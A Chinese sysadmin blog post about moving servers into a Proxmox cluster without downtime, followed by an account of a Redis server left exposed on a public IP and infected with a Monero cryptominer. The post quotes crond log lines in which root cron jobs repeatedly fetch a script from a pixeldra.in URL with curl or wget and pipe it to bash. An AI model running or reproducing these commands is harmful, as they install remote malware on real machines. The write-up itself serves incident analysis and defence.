作者:田逸(sery@163.com)
这几天一直忙着往proxmox集群里边迁移服务,进展还是比较顺利。通过整合资源,两个机柜的服务器,下架以后,就剩一个柜子了,后边再迁移一下,还能下架一些旧的配置低的服务器。因为机柜电源的限制,迫不得已还得下架一台有公网ip的旧服务器。为了保证可用性,临时在一台有redis应用的服务器上绑定了一个公网ip。然后开始部署keepalived及haproxy,但搞半天,没把keepalived给安装上,估计是centos版本的问题。确认了一下,就是不安装也不影响业务,就暂时不管它,忙别的事情去了。
四台proxomox组成的集群,加上一台交换机,临时放在另外一个机柜里边。等下架旧服务器后,再把这四台服务器及交换机整合到一个机柜。因此整个下午到夜里,都在折腾这个事情。搬迁的原则是不能停服务,同时担心机器关机可能会导致proxmox集群崩溃。待去机房的兄弟把旧机器下架后,做如下的安排:
(1) 服务器拔掉一根电源线,然后插在目标机柜的插口上。因为是双电源,而且两个机柜是挨着的,只要动作轻柔,可以保证不会断电停机。
(2) 交换机不是双电,一断电集群就可能崩溃。在目标柜子柜子放一交换机,加电。从待搬服务器拔掉一个网线,插到此交换机;接着拔第二台服务器的一根网线,也插过来。于此同时,把另外一口的网线拔掉,观察网络状态。因为proxmox做了网卡绑定(bond),因此这样操作,也不会导致网络中断。
一不小心,老司机又翻车了
确保网线插别的交换机没问题后,就可以从机架上把服务器不停机进行搬迁。
搬迁完,联系相关人等挨个测试应用,看是否正常,本人也时不时查看集群负载,也没有任何波动,一干人等回家散去,放心睡觉。
一不小心,老司机又翻车了
今天醒来,一看qq消息,群里闹翻了,说一个重要的下载业务的数据统计不显示。经排查,是一台redis的物理机出故障所致。
赶紧登陆系统,一通排查,卧槽,/tmp目录下有个文件littletrump!看看这个有没有建立起监听.
一不小心,老司机又翻车了
果然中招!习惯性的查看/etc/passwd、/home目录、crontab等,只有crontab存在麻烦,进行编辑,全是一堆乱码。
一不小心,老司机又翻车了
用dd键狂删,毫无作用。再用echo> /tmp/ crontab.XXXX* 清空,也没有什么作用。进目录/var/spool/cron/ ,把root等文件直接干掉了事。
那么问题来了,这个恶意Muma是怎么进来的?又是干什么用的呢?
先回答恶意muma是干啥的。根据排查,得到一个域名,用浏览器访问,得到如下页面。
一不小心,老司机又翻车了
原来是挖矿的,从crond日志可进一步判断,是挖门罗币的。
Sep 28 01:20:01 Cache crond[10825]: (root) CMD (/usr/lib64/sa/sa1 10 60)
Sep 28 01:20:01 Cache crond[10826]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:21:01 Cache crond[11156]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate |
bash)
Sep 28 01:25:01 Cache crond[12391]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:28:02 Cache crond[13532]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate |
bash)
Sep 28 01:30:01 Cache crond[14258]: (root) CMD (/usr/lib64/sa/sa1 10 60)
Sep 28 01:30:01 Cache crond[14259]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:35:01 Cache crond[16051]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:35:01 Cache crond[16054]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate |
bash)
Sep 28 01:40:01 Cache crond[18117]: (root) CMD (/usr/lib64/sa/sa1 10 60)
Sep 28 01:40:01 Cache crond[18118]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:42:01 Cache crond[18996]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate |
bash)
………………….省略若干……………………….
第二个问题“恶意muma是怎么进来的呢”?是因为redis监听地址是0.0.0.0:6379,我昨天为了做keepalived HA,给网卡绑定了公网地址。有心人一扫描,就发现这个redis版本漏洞,就利于它侵略进来了。
后边的处理就简单了。Proxmox平台部署一套redis,把备份复制过去,恢复。现有的系统干掉,重装系统,另做他用。
更加体系化和实例化的proxmox超融合私有云实践系列文章,请移步本人专栏“人人都能玩的私有云神器-proxmox”,猛戳此处,片刻直达!
一不小心,老司机又翻车了
©著作权归作者所有:来自51CTO博客作者sery的原创作品,如需转载,请注明出处,否则将追究法律责任
你的鼓励让我更有动力
共同学习,写下你的评论
评论加载中...
作者其他优质文章